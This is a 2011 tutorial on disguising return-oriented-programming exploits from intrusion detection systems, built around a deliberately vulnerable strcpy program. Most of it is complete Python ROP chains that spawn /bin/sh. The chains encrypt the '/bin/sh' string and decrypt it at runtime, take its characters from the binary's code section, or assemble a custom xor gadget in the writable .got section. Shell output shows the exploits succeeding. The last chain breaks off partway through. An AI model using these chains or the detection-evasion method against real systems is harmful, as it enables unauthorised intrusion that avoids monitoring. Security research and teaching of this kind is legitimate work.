Polymorphism and Return Oriented Programming

by @Jonathan Salwan - 2011-10-02

 

1 - Small reminder of the polymorphism

Polymorphism is used in the shellcode to hide attacks on a network. It is true that today the IDSs (Intrusion Detection System) recognizes most shellcode structures. (example: push /bin/sh, etc). But polymorphism can bypass this detection.

With regard to the ROP, each payload is different and specific, we can therefore consider that the gadgets will not be detected by IDS. However, in many cases, during ROP exploitation we use a section to write our chain, that will be used during the execve. Exemple in .data we write "/bin/sh". With IDS, it will be difficult to send this type of chain, so we'll encrypt the string and then decrypt it later.

 

2 - Encrypting our string

Take for example the vulnerable code below. The code is compiled with -static flag for a large list of gadgets. Of course, the code below is not related to the network IDS, it's just to demonstrate the principle of IDS bypassing with the ROP.

#include <string.h>

int main(int ac, char **av)
{
  char buff[32];
  strcpy(buff, av[1]);
}

Launching ROPgadget allows us to obtain a usable payload very easily.

# execve /bin/sh generated by RopGadget v3.1
p += pack("<I", 0x08050eaa) # pop %edx | ret
p += pack("<I", 0x080ce3e0) # @ .data
p += pack("<I", 0x080a5566) # pop %eax | ret
p += "/bin"
p += pack("<I", 0x08079e0d) # mov %eax,(%edx) | ret
p += pack("<I", 0x08050eaa) # pop %edx | ret
p += pack("<I", 0x080ce3e4) # @ .data + 4
p += pack("<I", 0x080a5566) # pop %eax | ret
p += "//sh"
p += pack("<I", 0x08079e0d) # mov %eax,(%edx) | ret
p += pack("<I", 0x08050eaa) # pop %edx | ret
p += pack("<I", 0x080ce3e8) # @ .data + 8
p += pack("<I", 0x080577b0) # xor %eax,%eax | ret
p += pack("<I", 0x08079e0d) # mov %eax,(%edx) | ret
p += pack("<I", 0x08048144) # pop %ebx | ret
p += pack("<I", 0x080ce3e0) # @ .data
p += pack("<I", 0x080bc924) # pop %ecx | ret
p += pack("<I", 0x080ce3e8) # @ .data + 8
p += pack("<I", 0x08050eaa) # pop %edx | ret
p += pack("<I", 0x080ce3e8) # @ .data + 8
p += pack("<I", 0x080577b0) # xor %eax,%eax | ret
p += pack("<I", 0x08069f78) # inc %eax | ret
p += pack("<I", 0x08069f78) # inc %eax | ret
p += pack("<I", 0x08069f78) # inc %eax | ret
p += pack("<I", 0x08069f78) # inc %eax | ret
p += pack("<I", 0x08069f78) # inc %eax | ret
p += pack("<I", 0x08069f78) # inc %eax | ret
p += pack("<I", 0x08069f78) # inc %eax | ret
p += pack("<I", 0x08069f78) # inc %eax | ret
p += pack("<I", 0x08069f78) # inc %eax | ret
p += pack("<I", 0x08069f78) # inc %eax | ret
p += pack("<I", 0x08069f78) # inc %eax | ret
p += pack("<I", 0x080491f9) # int $0x80

Here, we write the string "/bin/sh" directly in data with the following gadgets:

p += pack("<I", 0x080a5566) # pop %eax | ret
p += "/bin"
p += pack("<I", 0x08079e0d) # mov %eax,(%edx) | ret

[...]

p += pack("<I", 0x080a5566) # pop %eax | ret
p += "//sh"
p += pack("<I", 0x08079e0d) # mov %eax,(%edx) | ret

What we'll do is encrypt that string and then decrypt it later. First of all, we'll decrement by 1 the characters of our string. So, we'll have a string that will look like this: '.ahm..rg'. Still with ROPgadget , I find the following gadgets that will help me to decipher our chain.

0x08050eaa   pop %edx        ; we place the address of our string in %edx
             ret

0x080c34a9   mov (%edx),%ecx ; we place the first character of our string in %ecx
             ret


0x080c9338   inc %ecx        ; we increment the character
             ret

0x08058770   mov %ecx,%eax   ; we place the character in %eax
             pop %ebx
             pop %esi
             pop %edi
             pop %ebp
             ret

0x08079e0d   mov %eax,(%edx) ; we place the decrypted character instead of
             ret             ; the encrypted character

This operation is repeated for each character of our chain and in the end we get our string like this: "/bin/sh". This gives us something like this:

#!/usr/bin/env python2


from struct import pack

p  = "a"*32
p += "bbbb"

# push data encrypted
p += pack("<I", 0x08050eaa)         # pop %edx | ret
p += pack("<I", 0x080ce3e0)         # @ .data
p += pack("<I", 0x080a5566)         # pop %eax | ret
p += ".ahm"                         # '/bin' chiffred
p += pack("<I", 0x08079e0d)         # mov %eax,(%edx) | ret
p += pack("<I", 0x08050eaa)         # pop %edx | ret
p += pack("<I", 0x080ce3e4)         # @ .data + 4
p += pack("<I", 0x080a5566)         # pop %eax | ret
p += "..rg"                         # '//sh' chiffred
p += pack("<I", 0x08079e0d)         # mov %eax,(%edx) | ret
p += pack("<I", 0x08050eaa)         # pop %edx | ret
p += pack("<I", 0x080ce3e8)         # @ .data + 8
p += pack("<I", 0x080577b0)         # xor %eax,%eax | ret
p += pack("<I", 0x08079e0d)         # mov %eax,(%edx) | ret

# decrypt data pour '.ahm..rg' => '/bin/sh'
# decrypt '/'
p += pack("<I", 0x08050eaa)         # pop %edx | ret
p += pack("<I", 0x080ce3e0)         # @ .data
p += pack("<I", 0x080c34a9)         # mov (%edx),%ecx | ret
p += pack("<I", 0x080c9338)         # inc %ecx | ret
p += pack("<I", 0x08058770)         # mov %ecx,%eax | pop %ebx | pop %esi | pop %edi | pop %ebp | ret
p += pack("<I", 0x41424344)         # padding
p += pack("<I", 0x41424344)         # padding
p += pack("<I", 0x41424344)         # padding
p += pack("<I", 0x41424344)         # padding
p += pack("<I", 0x08079e0d)         # mov %eax,(%edx) | ret

# decrypt 'b'
p += pack("<I", 0x08050eaa)         # pop %edx | ret
p += pack("<I", 0x080ce3e0+1)       # @ .data
p += pack("<I", 0x080c34a9)         # mov (%edx),%ecx | ret
p += pack("<I", 0x080c9338)         # inc %ecx | ret
p += pack("<I", 0x08058770)         # mov %ecx,%eax | pop %ebx | pop %esi | pop %edi | pop %ebp | ret
p += pack("<I", 0x41424344)         # padding
p += pack("<I", 0x41424344)         # padding
p += pack("<I", 0x41424344)         # padding
p += pack("<I", 0x41424344)         # padding
p += pack("<I", 0x08079e0d)         # mov %eax,(%edx) | ret

# decrypt 'i'
p += pack("<I", 0x08050eaa)         # pop %edx | ret
p += pack("<I", 0x080ce3e0+2)       # @ .data
p += pack("<I", 0x080c34a9)         # mov (%edx),%ecx | ret
p += pack("<I", 0x080c9338)         # inc %ecx | ret
p += pack("<I", 0x08058770)         # mov %ecx,%eax | pop %ebx | pop %esi | pop %edi | pop %ebp | ret
p += pack("<I", 0x41424344)         # padding
p += pack("<I", 0x41424344)         # padding
p += pack("<I", 0x41424344)         # padding
p += pack("<I", 0x41424344)         # padding
p += pack("<I", 0x08079e0d)         # mov %eax,(%edx) | ret

# decrypt 'n'
p += pack("<I", 0x08050eaa)         # pop %edx | ret
p += pack("<I", 0x080ce3e0+3)       # @ .data
p += pack("<I", 0x080c34a9)         # mov (%edx),%ecx | ret
p += pack("<I", 0x080c9338)         # inc %ecx | ret
p += pack("<I", 0x08058770)         # mov %ecx,%eax | pop %ebx | pop %esi | pop %edi | pop %ebp | ret
p += pack("<I", 0x41424344)         # padding
p += pack("<I", 0x41424344)         # padding
p += pack("<I", 0x41424344)         # padding
p += pack("<I", 0x41424344)         # padding
p += pack("<I", 0x08079e0d)         # mov %eax,(%edx) | ret

# decrypt '/'
p += pack("<I", 0x08050eaa)         # pop %edx | ret
p += pack("<I", 0x080ce3e0+4)       # @ .data
p += pack("<I", 0x080c34a9)         # mov (%edx),%ecx | ret
p += pack("<I", 0x080c9338)         # inc %ecx | ret
p += pack("<I", 0x08058770)         # mov %ecx,%eax | pop %ebx | pop %esi | pop %edi | pop %ebp | ret
p += pack("<I", 0x41424344)         # padding
p += pack("<I", 0x41424344)         # padding
p += pack("<I", 0x41424344)         # padding
p += pack("<I", 0x41424344)         # padding
p += pack("<I", 0x08079e0d)         # mov %eax,(%edx) | ret

# decrypt '/'
p += pack("<I", 0x08050eaa)         # pop %edx | ret
p += pack("<I", 0x080ce3e0+5)       # @ .data
p += pack("<I", 0x080c34a9)         # mov (%edx),%ecx | ret
p += pack("<I", 0x080c9338)         # inc %ecx | ret
p += pack("<I", 0x08058770)         # mov %ecx,%eax | pop %ebx | pop %esi | pop %edi | pop %ebp | ret
p += pack("<I", 0x41424344)         # padding
p += pack("<I", 0x41424344)         # padding
p += pack("<I", 0x41424344)         # padding
p += pack("<I", 0x41424344)         # padding
p += pack("<I", 0x08079e0d)         # mov %eax,(%edx) | ret

# decrypt 's'
p += pack("<I", 0x08050eaa)         # pop %edx | ret
p += pack("<I", 0x080ce3e0+6)       # @ .data
p += pack("<I", 0x080c34a9)         # mov (%edx),%ecx | ret
p += pack("<I", 0x080c9338)         # inc %ecx | ret
p += pack("<I", 0x08058770)         # mov %ecx,%eax | pop %ebx | pop %esi | pop %edi | pop %ebp | ret
p += pack("<I", 0x41424344)         # padding
p += pack("<I", 0x41424344)         # padding
p += pack("<I", 0x41424344)         # padding
p += pack("<I", 0x41424344)         # padding
p += pack("<I", 0x08079e0d)         # mov %eax,(%edx) | ret

# decrypt 'h'
p += pack("<I", 0x08050eaa)         # pop %edx | ret
p += pack("<I", 0x080ce3e0+7)       # @ .data
p += pack("<I", 0x080c34a9)         # mov (%edx),%ecx | ret
p += pack("<I", 0x080c9338)         # inc %ecx | ret
p += pack("<I", 0x08058770)         # mov %ecx,%eax | pop %ebx | pop %esi | pop %edi | pop %ebp | ret
p += pack("<I", 0x41424344)         # padding
p += pack("<I", 0x41424344)         # padding
p += pack("<I", 0x41424344)         # padding
p += pack("<I", 0x41424344)         # padding
p += pack("<I", 0x08079e0d)         # mov %eax,(%edx) | ret

# set registers for execve
p += pack("<I", 0x08048144)         # pop %ebx | ret
p += pack("<I", 0x080ce3e0)         # @ .data
p += pack("<I", 0x080bc924)         # pop %ecx | ret
p += pack("<I", 0x080ce3e8)         # @ .data + 8
p += pack("<I", 0x08050eaa)         # pop %edx | ret
p += pack("<I", 0x080ce3e8)         # @ .data + 8

# set eax for execve syscall
p += pack("<I", 0x080577b0)         # xor %eax,%eax | ret
p += pack("<I", 0x08069f78)         # inc %eax | ret
p += pack("<I", 0x08069f78)         # inc %eax | ret
p += pack("<I", 0x08069f78)         # inc %eax | ret
p += pack("<I", 0x08069f78)         # inc %eax | ret
p += pack("<I", 0x08069f78)         # inc %eax | ret
p += pack("<I", 0x08069f78)         # inc %eax | ret
p += pack("<I", 0x08069f78)         # inc %eax | ret
p += pack("<I", 0x08069f78)         # inc %eax | ret
p += pack("<I", 0x08069f78)         # inc %eax | ret
p += pack("<I", 0x08069f78)         # inc %eax | ret
p += pack("<I", 0x08069f78)         # inc %eax | ret
p += pack("<I", 0x080491f9)         # int $0x80

print p

# jonathan@ArchLinux [rop-ids] $ ./main "$(python2 ./test-ids.py)"
# sh-4.2$

As you can imagine, you are free to choose the type of encryption that you want... You may push the same characters if you wish, then adjust them to obtain the chain "/bin/sh". You will have something like this:

p += "...."                      # '/bin' encrypted
p += pack("<I", 0x08079e0d)      # mov %eax,(%edx) | ret
p += pack("<I", 0x08050eaa)      # pop %edx | ret
p += pack("<I", 0x080ce3e4)      # @ .data + 4
p += pack("<I", 0x080a5566)      # pop %eax | ret
p += "...."                      # '//sh' encrypted

 

3 - Recover our string directly into the binary

In may go even further, without sending any chains. Instead we get the characters directly in the binary. We'll start searching with gdb in the .text section for our characters:

(gdb$) find 0x8048150,0x80a807c, '/'
(gdb$) find 0x8048150,0x80a807c, 'b'
(gdb$) find 0x8048150,0x80a807c, 'i'
(gdb$) find 0x8048150,0x80a807c, 'n'
(gdb$) find 0x8048150,0x80a807c, '/'
(gdb$) find 0x8048150,0x80a807c, 's'
(gdb$) find 0x8048150,0x80a807c, 'h'

We obtain the following addresses:

/ : 0x804f676 
b : 0x8051ce5
i : 0x804dd26
n : 0x804f124
/ : 0x804f676
s : 0x805a241
h : 0x8051e14

Using our previous gadgets (Chapter 1) we'll do the same here, but changing just the execution order.

0x08050eaa   pop %edx         ; we place the address of the character you need
             ret

0x080c34a9   mov (%edx),%ecx  ; placed the character in %ecx
             ret

0x08058770   mov %ecx,%eax    ; our character is placed in %eax
             pop %ebx
             pop %esi
             pop %edi
             pop %ebp
             ret

0x08050eaa   pop %edx      ; we place the address of our 'stack' 
                              ; (where you want to write our string)
             ret

0x08079e0d   mov %eax,(%edx)  ; we place our character on our 'stack'
             ret

This is repeated for all characters. From there, it is possible to recover any byte in the binary and write the byte anywhere in memory. We then have a code that looks like this:

#!/usr/bin/env python2


from struct import pack

p  = "a"*32
p += "bbbb"


# push /bin/sh in .data
# get '/' in .text
p += pack("<I", 0x08050eaa)         # pop %edx | ret
p += pack("<I", 0x0804f676)         # '/' in .text
p += pack("<I", 0x080c34a9)         # mov (%edx),%ecx | ret
p += pack("<I", 0x08058770)         # mov %ecx,%eax | pop %ebx | pop %esi | pop %edi | pop %ebp | ret
p += pack("<I", 0x41424344)         # padding
p += pack("<I", 0x41424344)         # padding
p += pack("<I", 0x41424344)         # padding
p += pack("<I", 0x41424344)         # padding
p += pack("<I", 0x08050eaa)         # pop %edx | ret
p += pack("<I", 0x080ce3e0)         # @.data
p += pack("<I", 0x08079e0d)         # mov %eax,(%edx) | ret

# get 'b' in .text
p += pack("<I", 0x08050eaa)         # pop %edx | ret
p += pack("<I", 0x08051ce5)         # 'b' in .text
p += pack("<I", 0x080c34a9)         # mov (%edx),%ecx | ret
p += pack("<I", 0x08058770)         # mov %ecx,%eax | pop %ebx | pop %esi | pop %edi | pop %ebp | ret
p += pack("<I", 0x41424344)         # padding
p += pack("<I", 0x41424344)         # padding
p += pack("<I", 0x41424344)         # padding
p += pack("<I", 0x41424344)         # padding
p += pack("<I", 0x08050eaa)         # pop %edx | ret
p += pack("<I", 0x080ce3e0+1)       # @.data
p += pack("<I", 0x08079e0d)         # mov %eax,(%edx) | ret

# get 'i' in .text
p += pack("<I", 0x08050eaa)         # pop %edx | ret
p += pack("<I", 0x0804dd26)         # 'i' in .text
p += pack("<I", 0x080c34a9)         # mov (%edx),%ecx | ret
p += pack("<I", 0x08058770)         # mov %ecx,%eax | pop %ebx | pop %esi | pop %edi | pop %ebp | ret
p += pack("<I", 0x41424344)         # padding
p += pack("<I", 0x41424344)         # padding
p += pack("<I", 0x41424344)         # padding
p += pack("<I", 0x41424344)         # padding
p += pack("<I", 0x08050eaa)         # pop %edx | ret
p += pack("<I", 0x080ce3e0+2)       # @.data
p += pack("<I", 0x08079e0d)         # mov %eax,(%edx) | ret

# get 'n' in .text
p += pack("<I", 0x08050eaa)         # pop %edx | ret
p += pack("<I", 0x0804f124)         # 'n' in .text
p += pack("<I", 0x080c34a9)         # mov (%edx),%ecx | ret
p += pack("<I", 0x08058770)         # mov %ecx,%eax | pop %ebx | pop %esi | pop %edi | pop %ebp | ret
p += pack("<I", 0x41424344)         # padding
p += pack("<I", 0x41424344)         # padding
p += pack("<I", 0x41424344)         # padding
p += pack("<I", 0x41424344)         # padding
p += pack("<I", 0x08050eaa)         # pop %edx | ret
p += pack("<I", 0x080ce3e0+3)       # @.data
p += pack("<I", 0x08079e0d)         # mov %eax,(%edx) | ret

# get '/' in .text
p += pack("<I", 0x08050eaa)         # pop %edx | ret
p += pack("<I", 0x0804f676)         # '/' in .text
p += pack("<I", 0x080c34a9)         # mov (%edx),%ecx | ret
p += pack("<I", 0x08058770)         # mov %ecx,%eax | pop %ebx | pop %esi | pop %edi | pop %ebp | ret
p += pack("<I", 0x41424344)         # padding
p += pack("<I", 0x41424344)         # padding
p += pack("<I", 0x41424344)         # padding
p += pack("<I", 0x41424344)         # padding
p += pack("<I", 0x08050eaa)         # pop %edx | ret
p += pack("<I", 0x080ce3e0+4)       # @.data
p += pack("<I", 0x08079e0d)         # mov %eax,(%edx) | ret

# get 's' in .text
p += pack("<I", 0x08050eaa)         # pop %edx | ret
p += pack("<I", 0x0805a241)         # 's' in .text
p += pack("<I", 0x080c34a9)         # mov (%edx),%ecx | ret
p += pack("<I", 0x08058770)         # mov %ecx,%eax | pop %ebx | pop %esi | pop %edi | pop %ebp | ret
p += pack("<I", 0x41424344)         # padding
p += pack("<I", 0x41424344)         # padding
p += pack("<I", 0x41424344)         # padding
p += pack("<I", 0x41424344)         # padding
p += pack("<I", 0x08050eaa)         # pop %edx | ret
p += pack("<I", 0x080ce3e0+5)        # @.data
p += pack("<I", 0x08079e0d)         # mov %eax,(%edx) | ret

# get 'h' in .text
p += pack("<I", 0x08050eaa)         # pop %edx | ret
p += pack("<I", 0x08051e14)         # 'h' in .text
p += pack("<I", 0x080c34a9)         # mov (%edx),%ecx | ret
p += pack("<I", 0x08058770)         # mov %ecx,%eax | pop %ebx | pop %esi | pop %edi | pop %ebp | ret
p += pack("<I", 0x41424344)         # padding
p += pack("<I", 0x41424344)         # padding
p += pack("<I", 0x41424344)         # padding
p += pack("<I", 0x41424344)         # padding
p += pack("<I", 0x08050eaa)         # pop %edx | ret
p += pack("<I", 0x080ce3e0+6)       # @.data
p += pack("<I", 0x08079e0d)         # mov %eax,(%edx) | ret

# set NULL bytes 
# .data => /bin/sh\0\0\0\0
p += pack("<I", 0x08050eaa)         # pop %edx | ret
p += pack("<I", 0x080ce3e0+7)       # @ .data + 7
p += pack("<I", 0x080577b0)         # xor %eax,%eax | ret
p += pack("<I", 0x08079e0d)         # mov %eax,(%edx) | ret
p += pack("<I", 0x08050eaa)         # pop %edx | ret
p += pack("<I", 0x080ce3e0+8)       # @ .data + 8
p += pack("<I", 0x080577b0)         # xor %eax,%eax | ret
p += pack("<I", 0x08079e0d)         # mov %eax,(%edx) | ret
p += pack("<I", 0x08050eaa)         # pop %edx | ret
p += pack("<I", 0x080ce3e0+9)       # @ .data + 9
p += pack("<I", 0x080577b0)         # xor %eax,%eax | ret
p += pack("<I", 0x08079e0d)         # mov %eax,(%edx) | ret
p += pack("<I", 0x08050eaa)         # pop %edx | ret
p += pack("<I", 0x080ce3e0+10)      # @ .data + 10
p += pack("<I", 0x080577b0)         # xor %eax,%eax | ret
p += pack("<I", 0x08079e0d)         # mov %eax,(%edx) | ret

# set registers for execve
p += pack("<I", 0x08048144)         # pop %ebx | ret
p += pack("<I", 0x080ce3e0)         # @ .data
p += pack("<I", 0x080bc924)         # pop %ecx | ret
p += pack("<I", 0x080ce3e7)         # @ .data + 8
p += pack("<I", 0x08050eaa)         # pop %edx | ret
p += pack("<I", 0x080ce3e7)         # @ .data + 8

# set eax for execve syscall
p += pack("<I", 0x080577b0)         # xor %eax,%eax | ret
p += pack("<I", 0x08069f78)         # inc %eax | ret
p += pack("<I", 0x08069f78)         # inc %eax | ret
p += pack("<I", 0x08069f78)         # inc %eax | ret
p += pack("<I", 0x08069f78)         # inc %eax | ret
p += pack("<I", 0x08069f78)         # inc %eax | ret
p += pack("<I", 0x08069f78)         # inc %eax | ret
p += pack("<I", 0x08069f78)         # inc %eax | ret
p += pack("<I", 0x08069f78)         # inc %eax | ret
p += pack("<I", 0x08069f78)         # inc %eax | ret
p += pack("<I", 0x08069f78)         # inc %eax | ret
p += pack("<I", 0x08069f78)         # inc %eax | ret
p += pack("<I", 0x080491f9)         # int $0x80

print p

# jonathan@ArchLinux [rop-ids] $ ./main "$(python2 ./test-ids2.py)"
# sh-4.2$

 

4 - Creating your own gadgets

Returning to the method explained before, we'll be able to create our own gadgets. To do this we just need a section in rwx. The .got section fully meets this expectation - If NX is disable. So, we'll be able to retrieve the bytes in the binary, then place them in the .got section that will eventually serve as a gadget. I'll use the payload in the first chapter, except that we'll use the XOR to decipher our chain. To do, this we'll have a gadget that does not currently exist in the binary, so we'll create it.

First of all, we'll retrieve the address of the .got section and then get the value of instruction "xor $ 0x77,% ecx, ret"

jonathan@ArchLinux [rop-ids] $ size -Ax ./main | grep got
.got    0x8   0x80ce3c8

jonathan@ArchLinux [rop-ids] $ objdump -d ./test

test:     file format elf32-i386


Disassembly of section .text:

08048054 <.text>:
8048054:    83 f1 77                xor    $0x77,%ecx
8048057:    c3                      ret

Then we'll find the bytes with gdb in the .text section:

(gdb$) find 0x8048150,0x80a807c, '\x83'    result ==> 0x08048d28
(gdb$) find 0x8048150,0x80a807c, '\xf1'    result ==> 0x0804fc47
(gdb$) find 0x8048150,0x80a807c, '\x77'    result ==> 0x0804db48
(gdb$) find 0x8048150,0x80a807c, '\xc3'    result ==> 0x0804a5dc

So, we have this series of gadgets that will allow us to create our gadget:

0x08050eaa   pop %edx         ; we place the address of the byte (0x83)
             ret

0x080c34a9   mov (%edx),%ecx  ; the byte is placed in %ecx
             ret

0x08058770   mov %ecx,%eax    ; the byte is placed in %eax
             pop %ebx
             pop %esi
             pop %edi
             pop %ebp
             ret

0x08050eaa   pop %edx         ; we place the .got address in %edx
             ret

0x08079e0d   mov %eax,(%edx)  ; the byte is placed on .got section
             ret

We just have to repeat this for each byte, then we'll have our gadget in the .got section. After creating the last gadget, we have the following gadgets:

0x08050eaa   pop %edx         ; we place the address of our string in %edx
             ret


0x080c34a9   mov (%edx),%ecx  ; placed the first character string in our in %ecx
             ret


@.got        xor $0x77,%ecx   ; Our gadget in .got section
             ret


0x08058770   mov %ecx,%eax    ; our character is placed in %eax
             pop %ebx
             pop %esi
             pop %edi
             pop %ebp
             ret

0x08079e0d mov %eax,(%edx) ; we place the decrypted character ; instead of the encrypted character ret

So, we have a sploit that looks like this:

#!/usr/bin/env python2


from struct import pack

p  = "a"*32
p += "bbbb"

# push data encrypted
p += pack("<I", 0x08050eaa)          # pop %edx | ret
p += pack("<I", 0x080ce3e0)          # @ .data
p += pack("<I", 0x080a5566)          # pop %eax | ret
p += "\x58\x15\x1e\x19"              # '/bin' crypted
p += pack("<I", 0x08079e0d)          # mov %eax,(%edx) | ret
p += pack("<I", 0x08050eaa)          # pop %edx | ret
p += pack("<I", 0x080ce3e4)          # @ .data + 4
p += pack("<I", 0x080a5566)          # pop %eax | ret
p += "\x58\x58\x04\x1f"              # '//sh' crypted
p += pack("<I", 0x08079e0d)          # mov %eax,(%edx) | ret
p += pack("<I", 0x08050eaa)          # pop %edx | ret
p += pack("<I", 0x080ce3e8)          # @ .data + 8
p += pack("<I", 0x080577b0)          # xor %eax,%eax | ret
p += pack("<I", 0x08079e0d)          # mov %eax,(%edx) | ret

# creation of gadget in .got section
# byte 0x83
p += pack("<I", 0x08050eaa)          # pop %edx | ret
p += pack("<I", 0x08048d28)          # @ 0x83 byte
p += pack("<I", 0x080c34a9)          # mov (%edx),%ecx | ret
p += pack("<I", 0x08058770)          # mov %ecx,%eax | pop %ebx | pop %esi | pop %edi | pop %ebp | ret
p += pack("<I", 0x41424344)          # padding
p += pack("<I", 0x41424344)          # padding
p += pack("<I", 0x41424344)          # padding
p += pack("<I", 0x41424344)          # padding
p += pack("<I", 0x08050eaa)          # pop %edx | ret
p += pack("<I", 0x080ce3c8)          # @.got
p += pack("<I", 0x08079e0d)          # mov %eax,(%edx) | ret

# byte 0xf1
p += pack("<I", 0x08050eaa)          # pop %edx | ret
p += pack("<I", 0x0804fc47)          # @ 0xf1 byte
p += pack("<I", 0x080c34a9)          # mov (%edx),%ecx | ret
p += pack("<I", 0x08058770)          # mov %ecx,%eax | pop %ebx | pop %esi | pop %edi | pop %ebp | ret
p += pack("<I", 0x41424344)          # padding
p += pack("<I", 0x41424344)          # padding
p += pack("<I", 0x41424344)          # padding
p += pack("<I", 0x41424344)          # padding
p += pack("<I", 0x08050eaa)          # pop %edx | ret
p += pack("<I", 0x080ce3c8+1)        # @.got
p += pack("<I", 0x08079e0d)          # mov %eax,(%edx) | ret

# byte 0x77
p += pack("<I", 0x08050eaa)          # pop %edx | ret
p += pack("<I", 0x0804db48)          # @ 0x77 byte
p += pack("<I", 0x080c34a9)          # mov (%edx),%ecx | ret
p += pack("<I", 0x08058770)          # mov %ecx,%eax | pop %ebx | pop %esi | pop %edi | pop %ebp | ret
p += pack("<I", 0x41424344)          # padding
p += pack("<I", 0x41424344)          # padding
p += pack("<I", 0x41424344)          # padding
p += pack("<I", 0x41424344)          # padding
p += pack("<I", 0x08050eaa)          # pop %edx | ret
p += pack("<I", 0x080ce3c8+2)        # @.got
p += pack("<I", 0x08079e0d)          # mov %eax,(%edx) | ret

# byte 0xc3
p += pack("<I", 0x08050eaa)          # pop %edx | ret
p += pack("<I", 0x0804a5dc)          # @ 0xc3 byte
p += pack("<I", 0x080c34a9)          # mov (%edx),%ecx | ret
p += pack("<I", 0x08058770)          # mov %ecx,%eax | pop %ebx | pop %esi | pop %edi | pop %ebp | ret
p += pack("<I", 0x41424344)          # padding
p += pack("<I", 0x41424344)          # padding
p += pack("<I", 0x41424344)          # padding
p += pack("<I", 0x41424344)          # padding
p += pack("<I", 0x08050eaa)          # pop %edx | ret
p += pack("<I", 0x080ce3c8+3)        # @.got
p += pack("<I", 0x08079e0d)          # mov %eax,(%edx) | ret

# now "xor $0x77,%ecx ; ret" is in 0x080ce3c8

# data decrypted for '\x58\x15\x1e\x19\x58\x58\x04\x1f' => '/bin/sh'
# decrypt '/'
p += pack("<I", 0x08050eaa)          # pop %edx | ret
p += pack("<I", 0x080ce3e0)          # @ .data
p += pack("<I", 0x080c34a9)          # mov (%edx),%ecx | ret
p += pack("<I", 0x080ce3c8)          # xor $0x77,%ecx | ret
p += pack("<I", 0x08058770)          # mov %ecx,%eax | pop %ebx | pop %esi | pop %edi | pop %ebp | ret
p += pack("<I", 0x41424344)          # padding
p += pack("<I", 0x41424344)          # padding
p += pack("<I", 0x41424344)          # padding
p += pack("<I", 0x41424344)          # padding
p += pack("<I", 0x08079e0d)          # mov %eax,(%edx) | ret

# decrypt 'b'
p += pack("<I", 0x08050eaa)          # pop %edx | ret
p += pack("<I", 0x080ce3e0+1)        # @ .data
p += pack("<I", 0x080c34a9)          # mov (%edx),%ecx | ret
p += pack("<I", 0x080ce3c8)          # xor $0x77,%ecx | ret
p += pack("<I", 0x08058770)          # mov %ecx,%eax | pop %ebx | pop %esi | pop %edi | pop %ebp | ret
p += pack("<I", 0x41424344)          # padding
p += pack("<I", 0x41424344)          # padding
p += pack("<I", 0x41424344)          # padding
p += pack("<I", 0x41424344)          # padding
p += pack("<I", 0x08079e0d)          # mov %eax,(%edx) | ret

# decrypt 'i'
p += pack("<I", 0x08050eaa)          # pop %edx | ret
p += pack("<I", 0x080ce3e0+2)        # @ .data
p += pack("<I", 0x080c34a9)          # mov (%edx),%ecx | ret
p += pack("<I", 0x080ce3c8)          # xor $0x77,%ecx | ret
p += pack("<I", 0x08058770)          # mov %ecx,%eax | pop %ebx | pop %esi | pop %edi | pop %ebp | ret
p += pack("<I", 0x41424344)          # padding
p += pack("<I", 0x41424344)          # padding
p += pack("<I", 0x41424344)          # padding
p += pack("<I", 0x41424344)          # padding
p += pack("<I", 0x08079e0d)          # mov %eax,(%edx) | ret

#  decrypt 'n'
p += pack("<I", 0x08050eaa)          # pop %edx | ret
p += pack("<I", 0x080ce3e0+3)        # @ .data
p += pack("<I", 0x080c34a9)          # mov (%edx),%ecx | ret
p += pack("<I", 0x080ce3c8)          # xor $0x77,%ecx | ret
p += pack("<I", 0x08058770)          # mov %ecx,%eax | pop %ebx | pop %esi | pop %edi | pop %ebp | ret
p += pack("<I", 0x41424344)          # padding
p += pack("<I", 0x41424344)          # padding
p += pack("<I", 0x41424344)          # padding
p += pack("<I", 0x41424344)          # padding
p += pack("<I", 0x08079e0d)          # mov %eax,(%edx) | ret

# decrypt '/'
p += pack("<I", 0x08050eaa)          # pop %edx | ret
p += pack("<I", 0x080ce3e0+4)        # @ .data
p += pack("<I", 0x080c34a9)          # mov (%edx),%ecx | ret
p += pack("<I", 0x080ce3c8)          # xor $0x77,%ecx | ret
p += pack("<I", 0x08058770)          # mov %ecx,%eax | pop %ebx | pop %esi | pop %edi | pop %ebp | ret
p += pack("<I", 0x41424344)          # padding
p += pack("<I", 0x41424344)          # padding
p += pack("<I", 0x41424344)          # padding
p += pack("<I", 0x41424344)          # padding
p += pack("<I", 0x08079e0d)          # mov %eax,(%edx) | ret

# decrypt '/'
p += pack("<I", 0x08050eaa)          # pop %edx | ret
p += pack("<I", 0x080ce3e0+5)        # @ .data
p += pack("<I", 0x080c34a9)          # mov (%edx),%ecx | ret
p += pack("<I", 0x080ce3c8)          # xor $0x77,%ecx | ret
p += pack("<I", 0x08058770)          # mov %ecx,%eax | pop %ebx | pop %esi | pop %edi | pop %ebp | ret
p += pack("<I", 0x41424344)          # padding
p += pack("<I", 0x41424344)          # padding
p += pack("<I", 0x41424344)          # padding
p += pack("<I", 0x41424344)          # padding
p += pack("<I", 0x08079e0d)          # mov %eax,(%edx) | ret

# decrypt 's'
p += pack("<I", 0x08050eaa)          # pop %edx | ret
p += pack("<I", 0x080ce3e0+6)        # @ .data
p += pack("<I", 0x080c34a9)          # mov (%edx),%ecx | ret
p += pack("<I", 0x080ce3c8)          # xor $0x77,%ecx | ret
p += pack("<I", 0x08058770)          # mov %ecx,%eax | pop %ebx | pop %esi | pop %edi | pop %ebp | ret
p += pack("<I", 0x41424344)          # padding
p += pack("<I", 0x41424344)          # padding
p += pack("<I", 0x41424344)          # padding
p += pack("<I", 0x41424344)          # padding
p += pack("<I", 0x08079e0d)          # mov %eax,(%edx) | ret

# decrypt 'h'
p += pack("<I", 0x08050eaa)          # pop %edx | ret
p += pack("<I", 0x080ce3e0+7)        # @ .data
p += pack("<I", 0x080c34a9)          # mov (%edx),%ecx | ret
p += pack("<I", 0x080ce3c8)          # xor $0x77,%ecx | ret
p += pack("<I", 0x08058770)          # mov %ecx,%eax | pop %ebx | pop %esi | pop %edi | pop %ebp | ret
p += pack("<I", 0x41424344)          # padding
p += pack("<I", 0x41424344)          # padding
p += pack("<I", 0x41424344)          # padding
p += pack("<I", 0x41424344)          # padding
p += pack("<I", 0x08079e0d)          # mov %eax,(%edx) | ret

# set NULL bytes
p += pack("<I", 0x08050eaa)          # pop %edx | ret
p += pack("<I", 0x080ce3e0+8)        # @ .data + 7
p += pack("<I", 0x080577b0)          # xor %eax,%eax | ret
p += pack("<I", 0x08079e0d)          # mov %eax,(%edx) | ret
p += pack("<I", 0x08050eaa)          # pop %edx | ret
